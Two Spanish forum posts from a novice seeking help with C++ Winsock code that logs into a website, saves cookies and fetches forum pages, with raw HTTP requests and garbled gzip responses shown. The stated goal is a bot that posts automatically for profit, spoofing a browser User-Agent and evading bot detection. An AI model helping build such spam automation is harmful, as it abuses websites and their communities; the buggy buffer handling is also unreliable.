|
621
|
Programación / Programación C/C++ / Re: Problemas al recibir respuesta web iniciando sesión cpp
|
en: 27 Octubre 2014, 13:06 pm
|
Soy un novato con esto (de todas formas por supuesto quiero aprender si queréis compartir conmigo apuntes de HTTP sobre esto será un placer estudiarlos xD), haber os paso mis objetivos antes que nada, quiero hacer un bot que inicie sesión en una web pasandole user y pass por teclado y comience a postear en temas automáticamente para obtener beneficios xD, soy casi nuevo en esto pero ganas no me faltan. El código actual que uso para iniciar sesión es el siguiente: int inicia_sesion(char* user, char *contraseña) { WSADATA wsa; SOCKET sock; unsigned short tamaño; struct sockaddr_in directorio; char datos[20000], variables[500]; char cookie[1000], auxiliar[50]; WSAStartup(MAKEWORD(2, 0), &wsa); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Se ha producido un error al inicializar el socket."); exit(0); } else { directorio.sin_family = AF_INET; directorio.sin_port = htons(PUERTO); directorio.sin_addr.s_addr = inet_addr(IP); //action = login&ref = &email = usuariooo&password = jhjhjh&cap = strcpy_s(variables, "action="); strcat_s(variables, "login"); strcat_s(variables, "&ref="); strcat_s(variables, ""); strcat_s(variables, "&email="); strcat_s(variables, user); strcat_s(variables, "&password="); strcat_s(variables, contraseña); strcat_s(variables, "&cap="); strcat_s(variables, ""); tamaño = strlen(variables); _itoa_s(tamaño, auxiliar, 10); ifstream cookies("cookies.txt"); bool var = false; strcpy_s(datos, "POST /login HTTP/1.1\r\n"); strcat_s(datos, "Host: dominio.com\r\n"); strcat_s(datos, "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0\r\n"); strcat_s(datos, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"); strcat_s(datos, "Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3\r\n"); strcat_s(datos, "Accept-Encoding: gzip, deflate\r\n"); strcat_s(datos, "Referer: http ://dominio.com/login"); while (cookies.getline(cookie, 400) && strcmp(cookie, "") != 0) { var = true; strcat_s(datos, "\r\nCookie: "); strcat_s(datos, cookie); strcat_s(datos, ";__insp_nv = true; __insp_ref = d; __insp_norec_sess = true; __insp_wid = 1437863939; _gat = 1; _gat_newTracker = 1; lfbs = f74842e072e54dff920fc7f53b775edf63a098e1%7E1"); } if (var == false) { strcat_s(datos, "\r\n"); } strcat_s(datos, "Connection: keep - alive\r\n"); strcat_s(datos, "Cache-Control: max-age=0\r\n"); strcat_s(datos, "Content-type: application/x-www-form-urlencoded\r\n"); strcat_s(datos, "Content-length: "); strcat_s(datos, auxiliar); strcat_s(datos, "\r\n\r\n"); strcat_s(datos, variables); cookies.close(); connect(sock, (struct sockaddr*)&directorio, sizeof(directorio)); send(sock, datos, strlen(datos), 0); printf("mando: %s", datos); system("pause"); strcpy_s(datos, ""); recv(sock, datos, 10000, 0); printf("recibo: %s", datos); system("pause"); closesocket(sock); ofstream hookies("cookies.txt"); int tam = strlen(datos), i, j; char hookie[500]; for (i = 0; i < tam; i++) { if ((datos[i] == 'S') && (datos[i + 1] == 'e') && (datos[i + 2] == 't') && (datos[i + 3] == '-') && (datos[i + 4] == 'C') && (datos[i + 5] == 'o') && (datos[i + 6] == 'o') && (datos[i + 7] == 'k') && (datos[i + 8] == 'i') && (datos[i + 9] == 'e') && (datos[i + 10] == ':') && (datos[i + 11] == ' ')) { i = i + 12; j = 0; while (datos[i] != ';') { cookie[j] = datos[i]; i++; j++; } cookie[j] = '*'; j = 0; for (int k = 0; k < strlen(cookie); k++) { if (cookie[k] != '*') { hookie[j] = cookie[k]; j++; } else { hookie[j] = '\0'; break; } } hookies << hookie << endl; strcpy_s(cookie, ""); strcpy_s(hookie, ""); } } hookies.close(); } return 1;//habría que comprobar si se inicio bien sino distinto de 1. }
La basura me salen tantos caracteres como los que sobran al definir datos[20000], que es la variable que envía la petición y que recibe la respuesta. A veces se sobrescribe parte de la respuesta, no se porqué. El código admito puede ser engorroso pero al menos quiero ver si funciona en modo prueba, y luego ya lo perfeccionaría del todo. De todas formas eso de strcmp() no sé como sería, de todas formas si así distingue bien las cookies no se para que darle más vueltas xP. También me llama la atención que en una web que tengo un simple POST me carga en la variable todo el código html con la cabecera de respuesta, en cambio aquí quiero descargar el html y no me sale nada, es un html público que no requiere iniciar sesión y pueden ver todos, lo necesito descargar para extrar de el los foros y subforos que tiene la web y desde ahí poder postear para cada uno de ellos. Este es el código utilizado para "intentar" descargar el html desde donde extraería foros y subforos: void descarga_foros() { WSADATA wsa; SOCKET sock; unsigned short tamaño; struct sockaddr_in directorio; char datos[20000], auxiliar[50]; char cookie[1000]; WSAStartup(MAKEWORD(2, 0), &wsa); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Se ha producido un error al inicializar el socket."); exit(0); } else { directorio.sin_family = AF_INET; directorio.sin_port = htons(PUERTO); directorio.sin_addr.s_addr = inet_addr(IP); ifstream cookies("cookies.txt"); strcpy_s(datos, "POST /forum HTTP/1.1\r\n"); strcat_s(datos, "Host: dominio.com\r\n"); strcat_s(datos, "Content-type: application/x-www-form-urlencoded"); while (cookies.getline(cookie, 400) && strcmp(cookie, "") != 0) { strcat_s(datos, "\r\nCookie: "); strcat_s(datos, cookie); } strcat_s(datos, "\r\n\r\n"); cookies.close(); connect(sock, (struct sockaddr*)&directorio, sizeof(directorio)); send(sock, datos, strlen(datos), 0); printf("%s", datos); strcpy_s(datos, ""); recv(sock, datos, 10000, 0); closesocket(sock); printf("Recibo: %s", datos); system("pause"); ofstream cookiez("cookies.txt",ios::ate); int tam = strlen(datos), i, j; char hookie[500]; for (i = 0; i < tam; i++) { if ((datos[i] == 'S') && (datos[i + 1] == 'e') && (datos[i + 2] == 't') && (datos[i + 3] == '-') && (datos[i + 4] == 'C') && (datos[i + 5] == 'o') && (datos[i + 6] == 'o') && (datos[i + 7] == 'k') && (datos[i + 8] == 'i') && (datos[i + 9] == 'e') && (datos[i + 10] == ':') && (datos[i + 11] == ' ')) { i = i + 12; j = 0; while (datos[i] != ';') { cookie[j] = datos[i]; i++; j++; } cookie[j] = '*'; j = 0; for (int k = 0; k < strlen(cookie); k++) { if (cookie[k] != '*') { hookie[j] = cookie[k]; j++; } else { hookie[j] = '\0'; break; } } cookiez << hookie << endl; strcpy_s(cookie, ""); strcpy_s(hookie, ""); } } cookiez.close(); for (i = 0; i < tam; i++)//algoritmo para sacar, va a div class="col"> donde se encuentran los temas del foro principal, luego en otra funcion hago lo mismo para subforos y en otra para los temas de los subforos. <div class = "col"> Está sin hacer porque no consigo bajar el html, público quizás detecte que es un bot e impida su descarga tendremos que evitarlo pues. } }
Bueno quizás eso de la basura sea clave porque quizás la basura nos cubra un link importante como el link del favicon desde el cual descargar todo lo demás no sé. Pero aún así interesa el html del forum (foro publico y principal) allí buscaría los div con cierto identificador para aislar cada tema de foro y subforos... Al ejecutar el descargador_foros() sin nada previo (sin cookies obtengo): (Acabo de probarlo de nuevo, y oh lala me debe de enviar 23000 caracteres de respuesta es decir el html, pero no veo nada solo basura..) POST /forum HTTP/1.1 Host: dominio.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://dominio.com/forum Connection: keep-alive Cache-Control: max-age=0
HTTP/1.0 200 OK Server: nginx Date: Mon, 27 Oct 2014 11:49:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 23068 Set-Cookie: dsi=0372200903e819a94eb7f81de8a194f34f9595e8%7ENA44FozKp0xVoOmhAupn2ZeFIqOoYQmrakZ%2FMcLMdaDeHvXFkgql9Kn%2BkhOgYFAkU5WeJTfVgy96Qfv7PkhuCCxV6eZ3kJyiNJT3DyRMYBMC7FvbrM%2B%2Fj54Eb4SnCBIHYLRCfQAlirlyHw%3D%3D; expires=Mon, 27-Oct-2014 23:49:13 GMT; Max-Age=43200; path=/; domain=dominio.com Set-Cookie: dsi=aa77274477c182b15b8cf3ebf5954b33144cd0d4%7EWh2CtRrkLJfyjN7Rrm1WjXbM%2FVepKDzocfoU9kW8v8EAnzIeJxhlQuAStSAlQxTnT53oQNPnMRtVpUNxE%2BCufGHPNVTiGdWv2e1545JGOLCoE2WIX%2BcJV1jwMkgO6TWhEwdC3PE9Sug12Q%3D%3D; expires=Mon, 27-Oct-2014 23:49:13 GMT; Max-Age=43200; path=/; domain=dominio.com Vary: Accept-Encoding Content-Encoding: gzip X-Cache: MISS from ubuntu X-Cache-Lookup: MISS from ubuntu:3128 Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9) Connection: keep-alive
þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ(de esto 23000 cacas iguales xD)þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ Pero me sale basura nada de code aunque segun pone el content-length es de 23000. He probado a reenviar la misma funcion una vez realizada la primera con las cookies de la primera que nos dió el server y el server nos envía la misma cadena con la distinción de que tenía 2 caracteres más el content-length, prueba de que es el html dinámico que buscamos. Pero sale basura. Eso creo que es todo hasta ahora, un inicio de sesión fallido o no (pues lo desconozco xd, supongo que si porque no me da cookies que no sean las de nombre dsi), y un intento de descarga de un html generado en dominio.com/forum que me sale basura en su lugar. Edito: He puesto 30000 de tamaño a datos y se me sobreescribe de basura ahora la cmd jajaja xD, y si solo de basura, antes tenia 20000 y no tenia espacio para recibir todo, ahora debería tener pero sale basura, puede ser o que algo tenga o haga mal, o que la web envíe un fake de basura aposta. Si alguien quiere probar el código y se implica un poco más que me mande un privado que le mando mi proyecto en visual studio 13 haber que tal le va. Si os habéis leido esto que lo dudo SOY FELIZ Gracias por las respuestas sigo con ello, Saludos.
|
|
|
622
|
Programación / Programación C/C++ / Problemas al recibir respuesta web iniciando sesión cpp
|
en: 25 Octubre 2014, 23:44 pm
|
Hola siento abrir otro tema, pero el anterior dejo de interesarme ahora tengo otro proyecto en mente, no se como va esto de las cookies. Haber quiero iniciar sesión en una página web con un programa en C/C++, ¿que debo hacer? He probado a mandar esto: int inicia_sesion(char* user, char *contraseña) { WSADATA wsa; SOCKET sock; unsigned short tamaño; struct sockaddr_in directorio; char datos[1500], variables[250]; char cookie[1000], auxiliar[50]; WSAStartup(MAKEWORD(2, 0), &wsa); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Se ha producido un error al inicializar el socket."); exit(0); } else { directorio.sin_family = AF_INET; directorio.sin_port = htons(PUERTO); directorio.sin_addr.s_addr = inet_addr(IP); strcpy_s(variables, "email="); strcat_s(variables, user); strcat_s(variables, "&password="); strcat_s(variables, contraseña); tamaño = strlen(variables); _itoa_s(tamaño, auxiliar, 10); strcpy_s(datos, "POST /login HTTP/1.1\r\n"); strcat_s(datos, "Host: dominio.com\r\n"); strcat_s(datos, "Content-type: application/x-www-form-urlencoded\r\n"); strcat_s(datos, "Content-length: "); strcat_s(datos, auxiliar); strcat_s(datos, "\r\n\r\n"); strcat_s(datos, variables); connect(sock, (struct sockaddr*)&directorio, sizeof(directorio)); send(sock, datos, strlen(datos), 0); strcpy_s(datos, ""); recv(sock, datos, 1000, 0); closesocket(sock); ofstream cookies("cookies.txt"); int tam = strlen(datos), i, j; char hookie[500]; for (i = 0; i < tam; i++) { if ((datos[i] == 'S') && (datos[i + 1] == 'e') && (datos[i + 2] == 't') && (datos[i + 3] == '-') && (datos[i + 4] == 'c') && (datos[i + 5] == 'o') && (datos[i + 6] == 'o') && (datos[i + 7] == 'k') && (datos[i + 8] == 'i') && (datos[i + 9] == 'e') && (datos[i + 10] == ':') && (datos[i + 11] == ' ')) { i = i + 12; j = 0; while (datos[i] != ';') { cookie[j] = datos[i]; i++; j++; } cookie[j] = '*'; j = 0; for (int k = 0; k < strlen(cookie); k++) { if (cookie[k] != '*') { hookie[j] = cookie[k]; j++; } else { hookie[j] = '\0'; break; } } cookies << hookie << endl; strcpy_s(cookie, ""); strcpy_s(hookie, ""); } } } return 1;//para controlar errores si falla al iniciar sesion (sin hacer) }
Al realizar esta función recibo lo siguiente: HTTP/1.0 200 OK
Server: nginx
Date: Sat, 25 Oct 2014 21:19:24 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: dsi=20031e9671a05b580df037d3b1a3e849deb8853c%7EuOo6w03xntjgPZiaVDorb8aI6mv5Jz24lLGcoIUZvRP3EkFmprDY39ITuyVfaqyimvryApNqmfNAuVnYIjiQB%2FvFuh%2FfwOOW%2Btk%2BsU3KbiD4cQiRHPEYjCExkV2fuqIi0Sd4KuFqsrpPNf0%3D; expires=Sun, 26-Oct-2014 09:19:24 GMT; Max-Age=43200; path=/; domain=dominio.com
Set-Cookie: dsi=79e5a61e2302be64f79e118ed6e0faaa397758a1%7EL93SIQyyIU495qVRvBzSSvq%2BYynpPCUA%2F5ICO5rcOX4odLkpSkipzv1f2oCsWK16Xpvd6MKsyBRygveshy0oHIiy41Y7HEQFuLvA6LdpXNQ%2FZRMyuSdJdm1sFSZCeJoSdfnZilh5zKbyTEBqJzuJRYZb9v5MXgqkFgtaEmACPmzuAGw%3D; expires=Sun, 26-Oct-2014 09:19:24 GMT; Max-Age=43200; path=/; domain=dominio.com
Vary: Accept-Encoding
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)
Connection: close
þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÌÌÌÌÌÌÌÌ
Bien se supone que con el código anterior debería de guardar las cookies es "dsi" en un archivo cookies.txt pues bien ese archivo está vacío. Vale ahora ya tengo las cookies suponiendo que eso hubiera funcionado, ¿ahora que debo hacer?, ¿cómo sé si he iniciado sesión o no?. Ahora quiero meter un post a un directorio de la página para extraer datos de los subforos: void descarga_foros_subforos()//Entra a foro y descarga foros, luego sus subforos. { WSADATA wsa; SOCKET sock; unsigned short tamaño; struct sockaddr_in directorio; char datos[20000], auxiliar[50]; char cookie[1000]; WSAStartup(MAKEWORD(2, 0), &wsa); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Se ha producido un error al inicializar el socket."); exit(0); } else { directorio.sin_family = AF_INET; directorio.sin_port = htons(PUERTO); directorio.sin_addr.s_addr = inet_addr(IP); ifstream cookies("cookies.txt"); strcpy_s(datos, "POST /foro HTTP/1.1\r\n"); strcat_s(datos, "Host: dominio.com\r\n"); strcat_s(datos, "User-Agent: Mozilla / 5.0 (Windows NT 6.2; WOW64) AppleWebKit" "/ 537.36 (KHTML, like Gecko) Chrome / 38.0.2125.104 Safari / 537.36"); strcat_s(datos, "Content-type: application/x-www-form-urlencoded\r\n"); while (cookies.getline(cookie, 400) && strcmp(cookie, "") != 0) { strcat_s(datos, "\r\nSet-cookie: "); strcat_s(datos, cookie); } strcat_s(datos, "\r\n\r\n"); cookies.close(); connect(sock, (struct sockaddr*)&directorio, sizeof(directorio)); send(sock, datos, strlen(datos), 0); strcpy_s(datos, ""); recv(sock, datos, 20000, 0); printf("Recibo: %s", datos); system("pause"); ofstream cookiez("cookies.txt",ios::ate); int tam = strlen(datos), i, j; char hookie[500]; for (i = 0; i < tam; i++) { if ((datos[i] == 'S') && (datos[i + 1] == 'e') && (datos[i + 2] == 't') && (datos[i + 3] == '-') && (datos[i + 4] == 'c') && (datos[i + 5] == 'o') && (datos[i + 6] == 'o') && (datos[i + 7] == 'k') && (datos[i + 8] == 'i') && (datos[i + 9] == 'e') && (datos[i + 10] == ':') && (datos[i + 11] == ' ')) { i = i + 12; j = 0; while (datos[i] != ';') { cookie[j] = datos[i]; i++; j++; } cookie[j] = '*'; j = 0; for (int k = 0; k < strlen(cookie); k++) { if (cookie[k] != '*') { hookie[j] = cookie[k]; j++; } else { hookie[j] = '\0'; break; } } cookiez << hookie << endl; strcpy_s(cookie, ""); strcpy_s(hookie, ""); } } cookiez.close(); for (i = 0; i < tam; i++) { //aqui deberia hacer una busqueda de todos los divs //que contengan x cadena para que me saque todos los temas //que contengan esa cadena. } } }
Pero al ejecutar esto, ya vamos mal pues de lo anterior no conseguimos guardar las cookies pues fallo, y ahora lo recibido es: HTTP/1.0 200 OK
Server: nginx
Date: Sat, 25 Oct 2014 21:42:13 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: dsi=2a6854eb4a0c7ab311cb3036afa75b515c2b1a21%7EVgq4JI%2B77r1QvKwCQl8HYd6r4%2BQq92HB9xVz0SFy5kKeKKWp9grCQsKChkSAsvWUub3v0M8TTkVXXQFze5VtbjHqRYJxBBT2%2FyaduSDYk0dYvCD%2FFeY9otr%2FmG2CfwMJsm0%2FPGRg6mWtxZ4%3D; expires=Sun, 26-Oct-2014 09:42:13 GMT; Max-Age=43200; path=/; domain=dominio.com
Set-Cookie: dsi=6cc09e824f232cb19286c1dd44263e086976997f%7EtQWb1SKlSJuGZoqVdPU%2FjX8YUqr4DTSIwKrAXE0WlWCde%2FiV4LwHjZZHcAjHAVxxOq8g%2Bbnyym1LihOnxn3l1ZvFLFiaIoRqVf5tMQCArvDkL8%2FE2JlmE0dEyIuqW8KHXUw%2B8SAu6mM1tq0%3D; expires=Sun, 26-Oct-2014 09:42:13 GMT; Max-Age=43200; path=/; domain=dominio.com
Vary: Accept-Encoding
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)
Connection: close
þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ El fichero de cookies sigue vacío, no tengo nada, ¿que ocurre? ¿alguien sabe que estoy haciendo mal? Y guiarme un poco con el procedimiento gracias. 